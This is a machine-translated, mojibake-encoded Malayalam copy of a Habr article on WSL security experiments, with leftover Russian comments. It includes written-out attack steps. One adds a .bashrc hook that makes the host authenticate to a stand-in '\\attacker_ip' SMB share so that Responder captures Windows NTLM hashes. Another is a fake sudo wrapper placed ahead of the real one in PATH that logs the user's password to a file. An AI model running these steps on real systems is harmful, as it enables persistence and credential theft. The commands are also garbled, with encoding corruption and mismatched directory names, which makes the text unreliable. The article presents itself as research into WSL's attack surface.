เด‡เดจเตเดจเต WSL 1, WSL 2 เดŽเดจเตเดจเดฟเดตเดฏเตเด•เตเด•เดฟเดŸเดฏเดฟเตฝ เดฎเดพเดฑเดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเต Microsoft เดจเตฝเด•เตเดจเตเดจเต. เดฐเดฃเตเดŸเต เดชเดคเดฟเดชเตเดชเตเด•เดณเตเด‚ เด‰เดชเดฏเต‹เด—เดคเตเดคเดฟเดจเต เดฒเดญเตเดฏเดฎเดพเดฃเต.

WSL เดธเตเดฐเด•เตเดท

เดจเดฟเดฒเดตเดฟเตฝ, เด‰เดชเดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เตพ เดคเดฎเตเดฎเดฟเดฒเตเดณเตเดณ เด†เดถเดฏเดตเดฟเดจเดฟเดฎเดฏเดคเตเดคเต† เด†เด•เตเดฐเดฎเดฟเด•เตเด•เดพเตป เดจเดฟเดฏเดฎเดพเดจเตเดธเตƒเดค OS เดŸเต‚เดณเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดšเดฟเดฒ เดธเดฎเต€เดชเดจเด™เตเด™เตพ เดตเดฟเดตเดฐเดฟเด•เตเด•เตเดจเตเดจ เดจเดฟเดฐเดตเดงเดฟ เด•เตƒเดคเดฟเด•เตพ เด‰เดฃเตเดŸเต. เดŽเดดเตเดคเตเดจเตเดจ เดธเดฎเดฏเดคเตเดคเต เด†เด•เตเดฐเดฎเดฃเด™เตเด™เดณเตเดŸเต† เดชเตเดฐเดธเด•เตเดคเดฟ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเตป เดžเด™เตเด™เตพ เด…เดตเดฐเตเดŸเต† เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเด‚. เด†เด•เตเดฐเดฎเดฃเด™เตเด™เดณเตเดŸเต†เดฏเตเด‚ เดธเดพเดนเดšเดฐเตเดฏเด™เตเด™เดณเตเดŸเต†เดฏเตเด‚ เดชเตŠเดคเตเดตเดพเดฏ เดชเดŸเตเดŸเดฟเด•:

1. เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเด‚ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตฝ: เด†เด•เตเดธเดธเต เด…เดตเด•เดพเดถเด™เตเด™เตพ, เดชเด™เตเด•เดฟเดŸเตเดŸ เดกเดฏเดฑเด•เตเดŸเดฑเดฟเด•เดณเตเดŸเต†/เดกเดพเดฑเตเดฑ เดŽเด•เตเดธเตเดšเต‡เดžเตเดšเต เดฎเต†เด•เตเด•เดพเดจเดฟเดธเด™เตเด™เดณเตเดŸเต† เดฒเดญเตเดฏเดค.

เด†เด•เตเดธเดธเต เดจเดฟเดฏเดฎเด™เตเด™เดณเตเดŸเต† เดฒเด‚เด˜เดจเด™เตเด™เตพ เดจเดฟเตผเดฃเตเดฃเดฏเดฟเด•เตเด•เดพเตป เด—เดตเต‡เดทเดฃเด‚ เดจเดŸเดคเตเดคเดฟ Linux FS->Windows FS, Windows FS->Linux FS. เดŸเดพเตผเด—เต†เดฑเตเดฑเต เด’เดŽเดธเดฟเดจเตเดณเตเดณเดฟเตฝ เดคเดจเตเดจเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เดซเดฏเตฝ เดชเดฐเดฟเดทเตเด•เดฐเดฟเด•เตเด•เดพเดจเตเดณเตเดณ เด•เดดเดฟเดตเต เด—เดตเต‡เดทเดฃเด‚ เดคเต†เดณเดฟเดฏเดฟเดšเตเดšเดฟเดŸเตเดŸเตเดฃเตเดŸเต. เดชเด•เดฐเด‚ เดตเดฏเตเด•เตเด•เดพเดจเตเด‚ เดกเตเดฏเต‚เดชเตเดฒเดฟเด•เตเด•เต‡เดฑเตเดฑเตเด•เตพ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดพเดจเตเด‚ เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เดณเตเดŸเต† เด’เดฐเต เดญเดพเด—เด‚ เด‡เดฒเตเดฒเดพเดคเดพเด•เตเด•เดพเดจเตเด‚ เดถเตเดฐเดฎเดฟเดšเตเดšเต.

เดฐเด‚เด—เด‚:

  • A. Windows เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด†เด•เตเดฐเดฎเดฃเด‚ - Linux OS-เดจเตเดฑเต† /etc เดกเดฏเดฑเด•เตเดŸเดฑเดฟเดฏเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เดซเดฏเดฒเตเด•เดณเตเดŸเต† เดชเดฐเดฟเดทเตเด•เตเด•เดฐเดฃเด‚.
  • B. Linux เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด†เด•เตเดฐเดฎเดฃเด‚ - เดกเดฏเดฑเด•เตเดŸเดฑเดฟเด•เดณเดฟเดฒเต† เดซเดฏเดฒเตเด•เดณเตเดŸเต† เดชเดฐเดฟเดทเตเด•เตเด•เดฐเดฃเด‚: C:Windows, C:Program Files, C:Users<User>

2. เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดธเตเดฑเตเดฑเดพเด•เตเด•เดฟเดจเตเดฑเต† เดจเดŸเดชเตเดชเดพเด•เตเด•เตฝ.

เดตเดฟเตปเดกเต‹เดธเดฟเดฒเต† เดฒเดฟเดจเด•เตเดธเต เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด†เด•เตเดฐเดฎเดฃเด™เตเด™เดณเตเดŸเต† เด‰เดฆเดพเดนเดฐเดฃเด™เตเด™เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเดพเดฃเต เด—เดตเต‡เดทเดฃเด‚ เดจเดŸเดคเตเดคเดฟเดฏเดคเต. เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เต เดธเตเดฑเตเดฑเดพเด•เตเด•เดฟเดจเตเดฑเต† เดธเดตเดฟเดถเต‡เดทเดคเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต, เด…เดคเดพเดฏเดคเต, เดตเดฟเดตเดฟเดง เด‰เดฑเดตเดฟเดŸเด™เตเด™เดณเดฟเดฒเต† เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃ เดธเด‚เดตเดฟเดงเดพเดจเด™เตเด™เตพ.

เดฐเด‚เด—เด‚:

  • เด’เดฐเต เดตเดฟเตปเดกเต‹เดธเต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เด…เดงเดฟเดจเดฟเดตเต‡เดถเดฎเตเดณเตเดณ เด’เดฐเต เดชเต‹เตผเดŸเตเดŸเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เด†เด•เตเดธเดธเต เดคเตเดฑเด•เตเด•เตเดจเตเดจเต
  • เด‰เดšเดฟเดคเดฎเดพเดฏ เด…เดตเด•เดพเดถเด™เตเด™เดณเดฟเดฒเตเดฒเดพเดคเต† เด’เดฐเต เดชเต‹เตผเดŸเตเดŸเต เดคเตเดฑเด•เตเด•เตเดจเตเดจเต
  • เดตเดฟเตปเดกเต‹เดธเต เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ elf เดซเดฏเตฝ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดฑเดฟเดตเต‡เดดเตเดธเต เดทเต†เตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเต.

3. เดกเดฌเตเดฒเตเดฏเตเดŽเดธเตเดŽเตฝ เดธเดฌเตเดธเดฟเดธเตเดฑเตเดฑเด‚ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเตเดณเตเดณ เด•เตเดทเตเดฆเตเดฐ เดธเต‹เดซเตเดฑเตเดฑเตเดตเต†เดฏเตผ เดชเตเดฐเด•เตเดฐเดฟเดฏเด•เดณเตเดŸเต† เดฒเต‹เดžเตเดšเต เดฎเดฑเดฏเตเด•เตเด•เตเดจเตเดจเต.

เด—เดตเต‡เดทเดฃเด‚ เด’เดฐเต เดฒเดณเดฟเดคเดฎเดพเดฏ เดตเดธเตเดคเตเดคเดฏเต† เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟเดฏเตเดณเตเดณเดคเดพเดฃเต - WSL 1-เดจเตเดฑเต† เด•เดพเดฐเตเดฏเดคเตเดคเดฟเตฝ, เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด’เดฐเต เดจเดฟเดฏเดฎเดพเดจเตเดธเตƒเดค เดฆเดพเดคเดพเดตเดฟเดจเต† เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจ เดฎเดฑเตเดฑเตŠเดฐเต เด•เต‡เตผเดฃเดฒเดฟเดฒเต† เด‡เดตเดจเตเดฑเตเด•เตพ เดธเตเดฐเด•เตเดทเดพ เด‰เดชเดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เตพเด•เตเด•เต เดคเดŸเดธเตเดธเดชเตเดชเต†เดŸเตเดคเตเดคเดพเตป เด•เดดเดฟเดฏเดฟเดฒเตเดฒ. WSL 2-เดจเตเดฑเต† เด•เดพเดฐเตเดฏเดคเตเดคเดฟเตฝ, เดธเด‚เดญเดตเดฟเด•เตเด•เตเดจเตเดจ เด‡เดตเดจเตเดฑเตเด•เตพ เด•เดพเดฃเดพเตป เด’เดฐเต เดฎเดพเตผเด—เดตเตเดฎเดฟเดฒเตเดฒ. เดญเดพเดฐเด‚ เด•เตเดฑเดžเตเดž เดตเต†เตผเดšเตเดตเตฝ เดฎเต†เดทเต€เดจเดฟเตฝ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เด•เต‡เตผเดฃเดฒเดฟเตฝ.

เดฐเด‚เด—เด‚:

1) เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดฑเดฟเดฎเต‹เดŸเตเดŸเต เด†เด•เตโ€Œเดธเดธเดฟเดจเดพเดฏเดฟ เด†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดธเดฎเดพเดฐเด‚เดญเดฟเดšเตเดšเต เดฒเต‹เด—เดฟเตป เดšเต†เดฏเตโ€Œเดค เด‡เดตเดจเตเดฑเตเด•เตพ เด•เดพเดฃเตเด•.

WSL 1 เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ: เดนเดพเดทเต เด‡เดจเตเดฑเตผเดธเต†เดชเตเดทเตป (เดตเดฟเตปเดกเต‹เดธเต)

เด’เดŸเตเดตเดฟเตฝ เดžเด™เตเด™เตพ เดชเตเดฐเดพเดฏเต‹เด—เดฟเด• เดญเดพเด—เดคเตเดคเต‡เด•เตเด•เต เดŽเดคเตเดคเดฟ. เด†เดฆเตเดฏเด‚, เดจเดฟเด™เตเด™เตพ เดŸเต†เดธเตเดฑเตเดฑเต เดชเดฐเดฟเดคเดธเตเดฅเดฟเดคเดฟ เดธเดœเตเดœเต€เด•เดฐเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เดŽเดฒเตเดฒเดพ เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เดณเตเด‚ เดตเดฟเตปเดกเต‹เดธเต 10 2004 เด‡เตปเดธเตเดฑเตเดฑเดพเตพ เดšเต†เดฏเตเดค เดฌเต†เดžเตเดšเดฟเดฒเดพเดฏเดฟเดฐเดฟเด•เตเด•เตเด‚ เดจเดŸเดคเตเดคเตเด•.เด‰เดฌเตเดฃเตเดŸเต 18.04 เด‡เดฎเต‡เดœเดพเดฃเต WSL-เดจเตเดณเตเดณ เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเด‚ เด‡เดฎเต‡เดœเดพเดฏเดฟ เดคเดฟเดฐเดžเตเดžเต†เดŸเตเดคเตเดคเดคเต. เดšเดฟเดคเตเดฐเด‚ เด•เตเดฐเดฎเดฐเดนเดฟเดคเดฎเดพเดฏเดฟ เดคเดฟเดฐเดžเตเดžเต†เดŸเตเดคเตเดคเต, เดฎเดฑเตเดฑเต‡เดคเต†เด™เตเด•เดฟเดฒเตเด‚ เด…เดคเต‡ เดฐเต€เดคเดฟเดฏเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเด‚. เด’เดฐเต เดธเตเดฑเตเดฑเดพเตปเดกเต เดธเดœเตเดœเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เด•เดฎเดพเตปเดกเตเด•เตพ:

เดจเดฟเด™เตเด™เตพ เด†เดฆเตเดฏเด‚ เดฒเต‹เดžเตเดšเต เดšเต†เดฏเตเดฏเดฃเด‚ powershell.exe เด…เดกเตเดฎเดฟเดจเดฟเดธเตเดŸเตเดฐเต‡เดฑเตเดฑเดฑเดพเดฏเดฟ.

WSL 1-เดจเต เดจเดฟเด™เตเด™เตพ เด•เดฎเดพเตปเดกเตเด•เตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะ’ะบะปัŽั‡ะธั‚ัŒ ั„ัƒะฝะบั†ะธัŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ะ—ะฐะณั€ัƒะทะธั‚ัŒ ะพะฑั€ะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft

  • Ubuntu.appx install โ€”root #ะฃัั‚ะฐะฝะพะฒะธะผ ะพะฑั€ะฐะท
  • ะ’ะพะทะผะพะถะฝะพ, ะฟั€ะธะดะตั‚ัั ะฟั€ะพะบะปะธะบะฐั‚ัŒ ะฟั€ะพั†ะตัั ะฝะฐัั‚ั€ะพะนะบะธ ะธ ัะพะทะดะฐั‚ัŒ ะฝะพะฒะพะณะพ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั, ะบะพั‚ะพั€ั‹ะน ะฑัƒะดะตั‚ ะธะผะตั‚ัŒ ะผะตะฝัŒัˆะต ะฟั€ะฐะฒ, ั‡ะตะผ root. ะ”ะปั ะฝะฐัˆะธั… ั‚ะตัั‚ะพะฒ ัั‚ะพ ะฑัƒะดะตั‚ ะพะฑั‹ั‡ะฝั‹ะน ะฟะพะปัŒะทะพะฒะฐั‚ะตะปัŒ sam.
  • Restart-Computer #ะŸะตั€ะตะทะฐะณั€ัƒะทะธะผ
  • เดธเตเดฑเตเดฑเดพเตปเดกเต เดฑเต€เดฌเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดค เดถเต‡เดทเด‚, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดฌเดพเดทเต เด•เดฎเดพเตปเดกเต เดตเดฟเดณเดฟเด•เตเด•เดพเด‚. เดŽเดฒเตเดฒเดพเด‚ เดถเดฐเดฟเดฏเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดšเตเดšเดพเตฝ, เดตเดฟเตปเดกเต‹เดธเต เด•เตบเดธเต‹เดณเดฟเตฝ เดธเดฎเดพเดจเดฎเดพเดฏ เด”เดŸเตเดŸเตเดชเตเดŸเตเดŸเต เดจเดฟเด™เตเด™เตพ เด•เดพเดฃเตเด‚:

    WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

    เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเตเดŸเต† เดฎเต†เดทเต€เดจเดพเดฏเดฟ เดžเด™เตเด™เตพ Kali Linux เดกเดฟเดธเตเดŸเตเดฐเดฟเดฌเตเดฏเต‚เดทเตป เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเด‚; เดŽเดฒเตเดฒเดพ เดฎเต†เดทเต€เดจเตเด•เดณเตเด‚ เด’เดฐเต‡ เดชเตเดฐเดพเดฆเต‡เดถเดฟเด• เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เดฟเตฝ เด†เดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚.

    เด’เดฐเต เดตเดฟเตปเดกเต‹เดธเต เดฎเต†เดทเต€เดจเดฟเตฝ WSL-เดฒเต‡เด•เตเด•เต เดจเดฎเตเด•เตเด•เต เด…เดจเตผเดนเดฎเดพเดฏ เด†เด•เตเดธเดธเต เด‰เดฃเตเดŸเต†เดจเตเดจเต เด•เดฐเตเดคเตเด•. เดฒเดฟเดจเด•เตเดธเดฟเตฝ เดจเดฟเดจเตเดจเต เด’เดฐเต เด•เดฎเดพเตปเดกเต เดตเดฟเดณเดฟเดšเตเดšเต เดฒเดฟเดจเด•เตเดธเต เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเต† เด†เด•เตเดฐเดฎเดฟเด•เตเด•เดพเตป เดถเตเดฐเดฎเดฟเด•เตเด•เดพเด‚. เด†เด•เตเดฐเดฎเดฃเด‚ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดพเตป, เดžเด™เตเด™เตพ เด’เดฐเต เดฒเดณเดฟเดคเดฎเดพเดฏ เด“เดŸเตเดŸเต‹เดฑเตบ เดŸเต†เด•เตเดจเดฟเด•เต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเด‚ - เดฒเดฟเดจเด•เตเดธเต เดŽเตปเดตเดฏเต‹เตบเดฎเต†เดจเตเดฑเดฟเตฝ เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดทเตป เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเดพเดฏเดฟ เดžเด™เตเด™เตพ เดžเด™เตเด™เดณเตเดŸเต† เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดšเต‡เตผเด•เตเด•เตเด‚. เด‡เดคเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เดจเดฟเด™เตเด™เตพ เดซเดฏเตฝ เดฎเดพเดฑเตเดฑเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต .bashrc.

    WSL เด‰เดณเตเดณ เด’เดฐเต เดฎเต†เดทเต€เดจเดฟเตฝ เดžเด™เตเด™เตพ เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเดจเตเดจเต:

    	1. bash
    	2. ะŸะตั€ะตั…ะพะดะธะผ ะฒ ะดะพะผะฐัˆะฝัŽัŽ ะดะธั€ะตะบั‚ะพั€ะธัŽ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั: cd /home/sam/
    	2. echo  ยซ/home/sam/.attack.shยป >> .bashrc
    	3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    เด’เดฐเต Kali Linux เดฎเต†เดทเต€เดจเดฟเตฝ เดžเด™เตเด™เตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเต:

    1. Responder -I eth0 -rdvw

    เด’เดฐเต เดตเดฟเตปเดกเต‹เดธเต เดฎเต†เดทเต€เดจเดฟเตฝ, เดจเดฎเตเด•เตเด•เต เดฌเดพเดทเต เดธเดฎเดพเดฐเด‚เดญเดฟเด•เตเด•เดพเด‚.

    เด•เดพเดณเดฟ เดฒเดฟเดจเด•เตเดธเต เดฎเต†เดทเต€เดจเดฟเดฒเต† เดซเดฒเดคเตเดคเดฟเดจเดพเดฏเดฟ เดžเด™เตเด™เตพ เด•เดพเดคเตเดคเดฟเดฐเดฟเด•เตเด•เตเด•เดฏเดพเดฃเต:

    WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

    เด…เด™เตเด™เดจเต†, เดฒเดฟเดจเด•เตเดธเต เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เด•เดฎเดพเตปเดกเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดฒเต‚เดŸเต† เดžเด™เตเด™เตพ WSL เดธเดฌเตเดธเดฟเดธเตเดฑเตเดฑเด‚ เดตเดดเดฟ เดตเดฟเตปเดกเต‹เดธเต เดฏเต‚เดธเตผ เดนเดพเดทเตเด•เตพ เดจเต‡เดŸเดฟ.

    WSL 1 เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ: เด‰เดชเดฏเต‹เด•เตเดคเตƒ เดชเดพเดธเตโ€Œเดตเต‡เดกเต เดจเต‡เดŸเตฝ (เดฒเดฟเดจเด•เตเดธเต เด’เดŽเดธเต)

    เดจเดฎเตเด•เตเด•เต เด’เดฐเต เดชเดฐเต€เด•เตเดทเดฃเด‚ เด•เต‚เดŸเดฟ เดจเดŸเดคเตเดคเดพเด‚. เดˆ เดชเดฐเดฟเดถเต‹เดงเดจเดฏเตเด•เตเด•เดฟเดŸเต† เดžเด™เตเด™เตพ เดซเดฏเดฒเดฟเดฒเต‡เด•เตเด•เต เดšเต‡เตผเด•เตเด•เตเด‚ .bashrc Linux เด“เดชเตเดชเดฑเต‡เดฑเตเดฑเดฟเด‚เด—เต เดธเดฟเดธเตเดฑเตเดฑเด‚ เดฏเต‚เดธเตผ เดชเดพเดธเตโ€Œเดตเต‡เดกเต เดฒเดญเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดจเดฟเดฐเดตเดงเดฟ เด•เดฎเดพเตปเดกเตเด•เตพ.

    เดจเดฎเตเด•เตเด•เต เดฌเดพเดทเต เดธเดฎเดพเดฐเด‚เดญเดฟเดšเตเดšเต เด•เดฎเดพเตปเดกเตเด•เตพ เดจเตฝเด•เตเด•:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    เด†เด•เตเดฐเดฎเดฃเด‚ เดตเดฟเดœเดฏเด•เดฐเดฎเดพเดฏเดฟ เดชเต‚เตผเดคเตเดคเดฟเดฏเดพเด•เตเด•เดพเตป, เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเต เดธเดพเด‚ เดฒเดฟเดจเด•เตเดธเต เดŸเต†เตผเดฎเดฟเดจเดฒเดฟเตฝ เดธเตเดกเต‹เดฏเต† เดตเดฟเดณเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เด‡เดคเดฟเดจเตเดถเต‡เดทเด‚, Linux OS เด‰เดชเดฏเต‹เด•เตเดคเตƒ เดชเดพเดธเตโ€Œเดตเต‡เดกเต เดซเดฏเดฒเดฟเดฒเตเดฃเตเดŸเดพเด•เตเด‚ pass.txt:

    WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

    เดธเตˆเดฆเตเดงเดพเดจเตเดคเดฟเด• เดตเดฟเดตเดฐเด™เตเด™เตพเด•เตเด•เต เดตเต‡เดฃเตเดŸเดฟ เดฎเดพเดคเตเดฐเดฎเดพเดฃเต เด†เด•เตเดฐเดฎเดฃเด™เตเด™เตพ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เดฟเดฏเดคเต.

    เดฒเต‡เด–เดจเดคเตเดคเดฟเดจเตเดฑเต† เด…เดŸเตเดคเตเดค เดญเดพเด—เด‚ 9P เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เตพ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต† เดตเดฟเดตเดฐเดฟเด•เตเด•เตเด‚, เดˆ เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเดฟเดจเดพเดฏเดฟ เด’เดฐเต เดธเตเด•เดพเดจเตผ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจเดคเต เดชเดฐเดฟเด—เดฃเดฟเด•เตเด•เตเด•, เด•เต‚เดŸเดพเดคเต† เด…เดคเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด‚ เดจเดŸเดคเตเดคเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด‚.

    เด‰เดชเดฏเต‹เด—เดฟเดšเตเดš เดธเดพเดนเดฟเดคเตเดฏเด™เตเด™เดณเตเดŸเต† เดชเดŸเตเดŸเดฟเด•

    WSL เดชเดฐเต€เด•เตเดทเดฃเด™เตเด™เตพ. เดญเดพเด—เด‚ 1

    เด•เต‚เดŸเตเดคเตฝ เดตเดพเดฏเดฟเด•เตเด•เตเด•

    เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

    เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•